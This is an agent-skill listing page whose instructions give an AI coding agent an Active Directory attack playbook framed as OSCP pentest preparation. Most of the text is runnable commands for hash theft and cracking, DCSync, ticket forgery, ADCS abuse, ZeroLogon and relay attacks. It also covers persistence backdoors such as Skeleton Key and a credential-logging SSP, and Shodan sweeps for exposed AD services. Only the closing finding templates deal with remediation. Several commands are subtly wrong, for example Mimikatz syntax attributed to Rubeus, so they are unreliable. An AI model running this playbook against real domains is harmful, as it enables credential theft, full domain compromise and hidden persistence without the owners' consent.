# Pentest Active Directory

> Active Directory penetration testing skills covering reconnaissance, attacks, lateral movement, persistence, and ADCS exploitation

- Skill: `bob-reis/pentest-active-directory` (Agent Skill)
- Install (CLI): `npx skillmds@latest add bob-reis/pentest-active-directory`
- Raw SKILL.md: https://api.skillmd.com/api/skills/bob-reis/pentest-active-directory/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: bob-reis (https://skillmd.com/u/bob-reis)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/bob-reis/pentest-active-directory

---


# Active Directory Penetration Testing

Comprehensive Active Directory attack methodologies for OSCP+/OSEP preparation. Covers reconnaissance, credential attacks, lateral movement, persistence, and ADCS exploitation.

## Quick Start

```bash
# Full AD assessment workflow
/ad-recon TARGET_DOMAIN
/ad-attacks --kerberoast
/ad-attacks --asreproast
/ad-attacks --dcsync
/adcs-enum
```

---

## Phase 1: AD Reconnaissance

### 1.1 Initial Domain Information

```bash
# Get current domain context
whoami /user
echo %USERDOMAIN%
echo %LOGONSERVER%

# Domain info (PowerShell)
Get-ADDomain
Get-ADDomainController
Get-ADForest

# Find all domain controllers
nltest /dclist:DOMAIN
nslookup -type=SRV _ldap._tcp.dc._msdcs.DOMAIN

# LDAP enumeration (ldapsearch)
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=com" -s sub "(objectClass=*)"
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=com" -s sub "(sAMAccountName=*)"

# LDAP enumeration (windapsearch)
python3 windapsearch.py -d DOMAIN -u "" --dc-ip DC_IP -m FULL
```

### 1.2 BloodHound Enumeration

```bash
# SharpHound (Windows)
SharpHound.exe -c All -d DOMAIN -o output.zip

# BloodHound.py (Linux)
bloodhound-python -d DOMAIN -u USER -p PASS -c All -ns DC_IP

# Import to BloodHound
neo4j console
bloodhound

# Cypher queries for attack paths
# Find shortest path to Domain Admin
MATCH p=shortestPath((n)-[*1..]->(m:Group)) WHERE m.name ENDS WITH "DOMAIN ADMINS" RETURN p

# Find users with unconstrained delegation
MATCH (n:User {unconstraineddelegation:true}) RETURN n

# Find Kerberoastable users
MATCH (n:User {hasspn:true}) RETURN n

# Find ASREPRoastable users
MATCH (n:User {dontreqpreauth:true}) RETURN n
```

### 1.3 CrackMapExec Enumeration

```bash
# SMB enumeration
crackmapexec smb TARGET_IP -u USER -p PASS --shares
crackmapexec smb TARGET_IP -u USER -p PASS --sessions
crackmapexec smb TARGET_IP -u USER -p PASS --disks
crackmapexec smb TARGET_IP -u USER -p PASS --users
crackmapexec smb TARGET_IP -u USER -p PASS --groups
crackmapexec smb TARGET_IP -u USER -p PASS --local-groups

# LDAP enumeration
crackmapexec ldap TARGET_IP -u USER -p PASS --baseDN "DC=domain,DC=com" --search-filter "(objectClass=*)"

# Kerberos enumeration
crackmapexec kerberos TARGET_IP -u USER -p PASS

# WinRM enumeration
crackmapexec winrm TARGET_IP -u USER -p PASS

# MSSQL enumeration
crackmapexec mssql TARGET_IP -u USER -p PASS --query "SELECT @@version"

# All modules
crackmapexec smb TARGET_IP -u USER -p PASS -M all
```

### 1.4 PowerView Enumeration

```powershell
# Import PowerView
Import-Module ./PowerView.ps1

# Domain info
Get-NetDomain
Get-NetForest
Get-NetForestDomain

# Users
Get-NetUser -UserName "admin*"
Get-NetUser -Properties samaccountname,description,mail
Get-NetUser | Where-Object {$_.admincount -eq 1}
Get-NetUser | Where-Object {$_.hasspn -eq $true}
Get-NetUser | Where-Object {$_.dontreqpreauth -eq $true}

# Computers
Get-NetComputer
Get-NetComputer -OperatingSystem "*2019*"
Get-NetComputer -Unconstrained

# Groups
Get-NetGroup -GroupName "*admin*"
Get-NetGroupMember -GroupName "Domain Admins"
Get-NetGroupMember -GroupName "Enterprise Admins"

# GPO
Get-NetGPO
Get-NetGPOGroup

# Shares
Find-DomainShare
Find-InterestingDomainShareFile

# Sessions
Find-DomainUserLocation
Find-DomainProcess -UserName "admin*"
```

---

## Phase 2: Credential Attacks

### 2.1 Kerberoasting

```bash
# Request TGS tickets (PowerView)
Get-DomainUser -SPN | Request-SPTicket

# Request TGS tickets (Rubeus)
Rubeus.exe kerberoast /output:hashes.txt

# Request TGS tickets (Impacket)
impacket-GetUserSPNs DOMAIN/USER:PASS -dc-ip DC_IP -request -outputfile hashes.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --force

# Crack with john
john --format=krb5tgs hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

### 2.2 ASREPRoasting

```bash
# Find ASREPRoastable users (PowerView)
Get-DomainUser -PreauthNotRequired

# Request ASREP hashes (Rubeus)
Rubeus.exe asreproast /format:hashcat /output:hashes.txt

# Request ASREP hashes (Impacket)
impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip DC_IP -request -outputfile hashes.txt
impacket-GetNPUsers DOMAIN/USER:PASS -request -outputfile hashes.txt

# Crack with hashcat
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt

# Crack with john
john --format=krb5asrep hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

### 2.3 Password Spraying

```bash
# CrackMapExec
crackmapexec smb TARGET_IP -u users.txt -p 'Password123!'
crackmapexec smb TARGET_IP -u users.txt -p passwords.txt

# Kerbrute
kerbrute userenum -d DOMAIN --dc DC_IP users.txt
kerbrute password_spray -d DOMAIN --dc DC_IP users.txt 'Password123!'

# Impacket
impacket-smbexec DOMAIN/USER:PASS@TARGET
impacket-psexec DOMAIN/USER:PASS@TARGET

# Nxc (CrackMapExec successor)
nxc smb TARGET_IP -u users.txt -p 'Password123!' --continue-on-success
```

### 2.4 DCSync Attack

```bash
# Impacket secretsdump
impacket-secretsdump DOMAIN/USER:PASS@DC_IP
impacket-secretsdump -dc-ip DC_IP DOMAIN/USER:PASS

# Mimikatz (Windows)
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:DOMAIN /user:krbtgt
mimikatz # lsadump::dcsync /domain:DOMAIN /user:admin

# Rubeus
Rubeus.exe misc::dcsync /user:krbtgt /domain:DOMAIN

# CrackMapExec
crackmapexec smb DC_IP -u USER -p PASS -M secretsdump
```

---

## Phase 3: Lateral Movement

### 3.1 Pass-the-Hash

```bash
# Impacket
impacket-psexec -hashes LM:NTLM DOMAIN/USER@TARGET
impacket-smbexec -hashes LM:NTLM DOMAIN/USER@TARGET
impacket-wmiexec -hashes LM:NTLM DOMAIN/USER@TARGET

# CrackMapExec
crackmapexec smb TARGET -u USER -H LM:NTLM

# Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:HASH /run:powershell

# Rubeus
Rubeus.exe ptt /ticket:base64ticket
Rubeus.exe *asktgs /ticket:base64ticket /service:cifs/TARGET
```

### 3.2 Pass-the-Ticket

```bash
# Export ticket from memory (Mimikatz)
mimikatz # sekurlsa::tickets /export

# Import ticket (Rubeus)
Rubeus.exe ptt /ticket:base64ticket

# Import ticket (Impacket)
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass DOMAIN/USER@TARGET

# Request TGS from TGT (Rubeus)
Rubeus.exe asktgs /ticket:TGT.kirbi /service:cifs/TARGET
```

### 3.3 Over-Pass-the-Hash

```bash
# Rubeus
Rubeus.exe asktgs /user:USER /domain:DOMAIN /rc4:NTLMHASH /service:ldap/DC.DOMAIN

# Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:HASH /run:powershell
# Then request TGS
```

### 3.4 Golden Ticket

```bash
# Requirements: krbtgt hash, domain SID, domain name
# Mimikatz
mimikatz # kerberos::golden /user:admin /domain:DOMAIN /sid:DOMAIN_SID /krbtgt:HASH /id:500 /group:512 /ptt

# Rubeus
Rubeus.exe golden /dc:DC_IP /domain:DOMAIN /user:admin /sid:DOMAIN_SID /krbtgt:HASH /id:500 /service:krbtgt /ptt

# Impacket ticketer
impacket-ticketer -nthash HASH -domain-sid DOMAIN_SID -domain DOMAIN admin
export KRB5CCNAME=admin.ccache
impacket-psexec -k -no-pass DOMAIN/admin@TARGET
```

### 3.5 Silver Ticket

```bash
# Requirements: Service account hash, domain SID, target SPN
# Mimikatz
mimikatz # kerberos::golden /domain:DOMAIN /sid:DOMAIN_SID /rc4:HASH /user:admin /service:cifs /target:TARGET /ptt

# Rubeus
Rubeus.exe silver /service:cifs/TARGET /domain:DOMAIN /sid:DOMAIN_SID /rc4:HASH /user:admin /ptt
```

### 3.6 Diamond Ticket

```bash
# Rubeus (enhanced Golden Ticket)
Rubeus.exe diamond /domain:DOMAIN /dc:DC_IP /user:admin /krbtgt:HASH /sid:DOMAIN_SID /ptt
```

---

## Phase 4: ADCS Exploitation

### 4.1 ADCS Enumeration

```bash
# Certipy enumeration
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -vulnerable
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -stdout

# Certify (Windows)
Certify.exe find /vulnerable

# PKINITtools
python3 getTGT.py -k -no-pass -dc-ip DC_IP DOMAIN/USER
python3 getST.py -spn ldap/DC.DOMAIN -impersonate admin -k -no-pass -dc-ip DC_IP DOMAIN/USER

# Enumerate templates
certutil -template
certutil -config "" -ping
```

### 4.2 ESC1 - Misconfigured Certificate Template

```bash
# Find vulnerable templates
certipy find -u USER@DOMAIN -p PASS -vulnerable

# Request certificate
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn admin@DOMAIN

# Authenticate with certificate
certipy auth -pfx admin.pfx -dc-ip DC_IP

# Get TGS for any service
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn admin@DOMAIN -dns DC_IP
```

### 4.3 ESC2 - Misconfigured Certificate Template (Any Purpose)

```bash
# Request certificate with Any Purpose EKU
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn admin@DOMAIN

# Authenticate
certipy auth -pfx admin.pfx
```

### 4.4 ESC3 - Misconfigured Certificate Template (Enrollment Agent)

```bash
# Request enrollment agent certificate
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'EnrollmentAgent'

# Request certificate on behalf of another user
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE' -on-behalf-of 'DOMAIN\admin' -pfx agent.pfx
```

### 4.5 ESC4 - Vulnerable Certificate Template ACLs

```bash
# Add user to template ACL
certipy template -u USER@DOMAIN -p PASS -template 'VULN-TEMPLATE' -add 'USER2'

# Request certificate
certipy req -u USER2@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE'
```

### 4.6 ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

```bash
# Request certificate with arbitrary SAN
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'User' -upn admin@DOMAIN

# Authenticate
certipy auth -pfx admin.pfx
```

### 4.7 ESC7 - Vulnerable PKI ACLs

```bash
# Add user to CA ACL
certipy ca -u USER@DOMAIN -p PASS -ca 'CA-NAME' -add 'USER2'

# Request certificate
certipy req -u USER2@DOMAIN -p PASS -ca 'CA-NAME' -template 'Machine'
```

### 4.8 ESC8 - NTLM Relay to ADCS

```bash
# Relay to ADCS (Impacket)
impacket-ntlmrelayx -t http://DC_IP/certsrv -smb2support --adcs

# Trigger authentication (PetitPotam)
python3 PetitPotam.py -d DOMAIN -u USER -p PASS TARGET_IP DC_IP

# Or use EFSRPC
python3 EFSRPC.py -d DOMAIN -u USER -p PASS TARGET_IP DC_IP

# Request certificate
certipy req -u TARGET$@DOMAIN -k -no-pass -ca 'CA-NAME' -template 'Machine'

# Authenticate
certipy auth -pfx TARGET.pfx
```

---

## Phase 5: Advanced Attacks

### 5.1 ZeroLogon (CVE-2020-1472)

```bash
# Impacket
impacket-netlogon DOMAIN/DC$@DC_IP -target-ip DC_IP

# Nexploit
nxc smb DC_IP -u '' -p '' -M zerologon

# Exploit and dump
impacket-secretsdump -just-dc DOMAIN/DC$@DC_IP
```

### 5.2 PetitPotam

```bash
# Trigger EFSRPC
python3 PetitPotam.py -d DOMAIN -u USER -p PASS TARGET_IP DC_IP

# Relay with ntlmrelayx
impacket-ntlmrelayx -t ldap://DC_IP --escalate-user USER
```

### 5.3 PrinterBug

```bash
# Trigger SpoolSample
python3 PrinterBug.py DOMAIN/USER:PASS@TARGET_IP DC_IP

# Or use dementor
python3 dementor.py -u USER -p PASS TARGET_IP DC_IP
```

### 5.4 Resource-Based Constrained Delegation (RBCD)

```bash
# Find computers with msDS-AllowedToActOnBehalfOfOtherIdentity
Get-DomainComputer -TrustedToAuth

# Add computer to RBCD
PowerView: Set-DomainObject -Identity TARGET -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'='SID_OF_ATTACKER_COMPUTER'}

# Request S4U2Self ticket
Rubeus.exe s4u /user:ATTACKER$ /rc4:HASH /domain:DOMAIN /msdsspn:cifs/TARGET /altservice:cifs /ptt

# Request S4U2Proxy ticket
Rubeus.exe s4u /user:ATTACKER$ /domain:DOMAIN /impersonate:admin /msdsspn:cifs/TARGET /ptt
```

### 5.5 Shadow Credentials

```bash
# Add key credential
pywhisker -d DOMAIN -u USER -p PASS --target TARGET --action 'add'

# Or use Whisker (Windows)
Whisker.exe add /target:TARGET /domain:DOMAIN

# Authenticate with PKINIT
certipy auth -pfx TARGET.pfx -dc-ip DC_IP
```

### 5.6 Constrained Delegation

```bash
# Find users with constrained delegation
Get-DomainUser -TrustedToAuth

# Request TGS
Rubeus.exe s4u /user:DELEGUSER /rc4:HASH /domain:DOMAIN /msdsspn:cifs/TARGET /ptt
```

### 5.7 Unconstrained Delegation

```bash
# Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained

# Wait for TGT to appear in memory
mimikatz # sekurlsa::tickets

# Or use Rubeus
Rubeus.exe monitor /interval:5 /filteruser:admin
```

### 5.8 GPO Abuse

```bash
# Find GPOs
Get-NetGPO
Get-NetGPOGroup

# Edit GPO to add user
# 1. Find GPO path in SYSVOL
# 2. Edit GPO.xml or Groups.xml
# 3. Add user to local administrators

# Force GPO update
gpupdate /force

# Or use SharpGPOAbuse
SharpGPOAbuse.exe --AddLocalAdmin --GPOName "Vulnerable GPO" --UserAccount "DOMAIN\attacker"
```

### 5.9 ACL Attacks

```bash
# GenericAll on User
# Can reset password without knowing current password
net user TARGET NewPass123! /domain

# GenericAll on Computer
# Can add computer to domain and perform RBCD

# GenericWrite on User
# Can update scriptPath for code execution
# Or update servicePrincipalName for Kerberoasting

# WriteDACL
# Can grant yourself additional permissions

# WriteOwner
# Can take ownership and grant yourself permissions

# ForceChangePassword
# Can change user password
net user TARGET NewPass123! /domain

# Self (Self-Membership)
# Can add yourself to group
```

### 5.10 Trust Attacks

```bash
# Enumerate trusts
Get-NetForestTrust
Get-NetDomainTrust

# SID History injection
# 1. Compromise trusted domain
# 2. Create Golden Ticket with SID history
mimikatz # kerberos::golden /domain:TRUSTED /sid:TRUSTED_SID /krbtgt:HASH /user:admin /sid:DOMAIN_SID /ptt

# Inter-realm TGT attack
# 1. Compromise child domain
# 2. Request TGT to parent domain
# 3. Escalate to enterprise admin
```

---

## Phase 6: Persistence

### 6.1 Skeleton Key

```bash
# Mimikatz (requires admin on DC)
mimikatz # privilege::debug
mimikatz # misc::skeleton

# Authenticate with any password
crackmapexec smb TARGET -u USER -p 'mimikatz'
```

### 6.2 DSRM Backdoor

```bash
# Extract DSRM password
mimikatz # token::elevate
mimikatz # lsadump::sam

# Set DSRM password
mimikatz # dsrm::sync /user:admin /password:BackdoorPass123!

# Authenticate via DSRM
crackmapexec smb DC_IP -u admin -h HASH --local-auth
```

### 6.3 Custom SSP

```bash
# Mimikatz
mimikatz # misc::memssp

# Credentials logged to C:\Windows\System32\mimilsa.log
```

### 6.4 AdminSDHolder

```bash
# Add user to AdminSDHolder group
# All members of protected groups will have this user added

# PowerView
Add-DomainGroupMember -Identity 'CN=AdminSDHolder,CN=System,DC=domain,DC=com' -Members 'attacker'

# Or use ACL editor
# 1. Open ADUC with AD Advanced Features
# 2. Navigate to CN=System > AdminSDHolder
# 3. Add user with Full Control
```

### 6.5 DCShadow

```bash
# Mimikatz (requires DC compromise)
mimikatz # privilege::debug
mimikatz # lsadump::dcshadow /object:USER /attribute:servicePrincipalName /value:HOST/target

# Push changes
mimikatz # lsadump::dcshadow /push
```

---

## Integration with AIRecon

```bash
# Start AD-focused campaign
pentestswarm-remote__start_campaign \
  target="DOMAIN" \
  scope="DOMAIN,DC_IP,10.0.0.0/24" \
  objective="find all AD vulnerabilities and attack paths" \
  mode="bugbounty"

# Get campaign findings
pentestswarm-remote__get_campaign_findings campaign_id="xxx"

# Get recon summary
pentestswarm-remote__get_campaign_recon_summary campaign_id="xxx"
```

---

## MCP Tools Integration

```bash
# Shodan search for exposed AD services
mcp__shodan__shodan_search query="port:389 LDAP" max_results=100
mcp__shodan__shodan_search query="port:445 SMB" max_results=100
mcp__shodan__shodan_search query="port:88 Kerberos" max_results=100

# VirusTotal domain analysis
mcp__virustotal__get_domain_report domain="domain.com"

# OSINT reconnaissance
mcp__osint-remote__get_country_risk_signals query="country_name"
```

---

## Finding Templates

### Active Directory Certificate Services (AD CS) Misconfiguration

**Severity:** High/Critical
**CVSS:** 8.8

**Description:**
AD CS certificate templates are misconfigured allowing domain users to request certificates with arbitrary Subject Alternative Names (SAN), enabling authentication as any domain user including administrators.

**Evidence:**
- Template has `msPKI-Certificate-Name-Flag` set to `ENROLLEE_SUPPLIES_SUBJECT`
- Template has `msPKI-Enrollment-Flag` set to `0` or doesn't require manager approval
- Low-privileged users have enroll permissions

**Impact:**
- Full domain compromise via Golden Ticket
- Persistence via certificate-based authentication
- Lateral movement to any system

**Remediation:**
1. Remove `ENROLLEE_SUPPLIES_SUBJECT` flag from templates
2. Require manager approval for certificate requests
3. Restrict enroll permissions to specific security groups
4. Enable certificate revocation checking

---

### Kerberoasting Vulnerability

**Severity:** High
**CVSS:** 7.5

**Description:**
Service accounts with SPNs configured use weak passwords that can be cracked offline after requesting TGS tickets.

**Evidence:**
- Users with `servicePrincipalName` attribute set
- TGS tickets successfully requested and cracked
- Password complexity below 15 characters

**Impact:**
- Service account compromise
- Lateral movement to services using compromised accounts
- Potential domain admin access

**Remediation:**
1. Use Group Managed Service Accounts (gMSA)
2. Implement 25+ character random passwords
3. Monitor for unusual TGS request patterns
4. Enable Kerberos armoring

---

### ASREPRoasting Vulnerability

**Severity:** High
**CVSS:** 7.5

**Description:**
Domain users have "Do not require Kerberos preauthentication" enabled, allowing offline password cracking.

**Evidence:**
- Users with `DONT_REQ_PREAUTH` flag set
- ASREP hashes successfully requested
- Hashes cracked with dictionary attacks

**Impact:**
- User credential compromise
- Lateral movement opportunities
- Potential privilege escalation

**Remediation:**
1. Disable "Do not require Kerberos preauthentication" for all users
2. Implement strong password policies
3. Monitor for unusual AS request patterns

---

### Unconstrained Delegation

**Severity:** High
**CVSS:** 8.2

**Description:**
Computers configured with unconstrained delegation store TGTs in memory, allowing attackers with access to these systems to impersonate any user.

**Evidence:**
- Computers with `TRUSTED_FOR_DELEGATION` flag
- TGTs found in LSASS memory
- High-privilege users authenticating to vulnerable systems

**Impact:**
- Full domain compromise via TGT theft
- Lateral movement to any system
- Persistence via Golden Ticket

**Remediation:**
1. Remove unconstrained delegation configuration
2. Implement constrained delegation with specific SPNs
3. Protect DCs and high-value systems
4. Monitor for TGT enumeration

---

### Resource-Based Constrained Delegation (RBCD)

**Severity:** High
**CVSS:** 8.0

**Description:**
Attacker-controlled computer objects can be added to `msDS-AllowedToActOnBehalfOfOtherIdentity` on target systems, enabling S4U2Self/S4U2Proxy attacks.

**Evidence:**
- Non-admin users can create computer accounts (default: 10)
- Computer objects added to RBCD ACL
- S4U2Self tickets requested successfully

**Impact:**
- Lateral movement to any system with RBCD configured
- Code execution as SYSTEM
- Credential harvesting

**Remediation:**
1. Restrict computer account creation to admins
2. Audit `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute
3. Implement LAPS for password management
4. Monitor for new computer account creation

---

## PTES Mapping

| PTES Phase | AD Technique | Command |
|------------|--------------|---------|
| 3.1 Threat Modeling | Attack path analysis | BloodHound cypher queries |
| 4.1 Vulnerability Analysis | Kerberoasting, ASREPRoast | `GetUserSPNs.py`, `GetNPUsers.py` |
| 4.2 Vulnerability Analysis | ADCS misconfigurations | `certipy find` |
| 4.4 Exploitation | DCSync | `secretsdump.py` |
| 4.7 Post-Exploitation | Pass-the-Hash | `psexec.py -hashes` |
| 4.9 Post-Exploitation | Golden Ticket | `kerberos::golden` |
| 4.10 Post-Exploitation | RBCD | `Rubeus s4u` |
| 5.1 Reporting | Finding documentation | Finding templates above |
| 5.2 Reporting | Remediation guidance | Per-finding remediation |

---

## Additional Resources

- [BloodHound Documentation](https://bloodhound.readthedocs.io/)
- [Certipy GitHub](https://github.com/ly4k/Certipy)
- [Rubeus GitHub](https://github.com/GhostPack/Rubeus)
- [Impacket Examples](https://github.com/SecureAuthCorp/impacket/tree/master/examples)
- [AD CS Exploitation](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
- [RBCD Attack](https://www.elastic.co/security-labs/abusing-resource-based-constrained-delegation)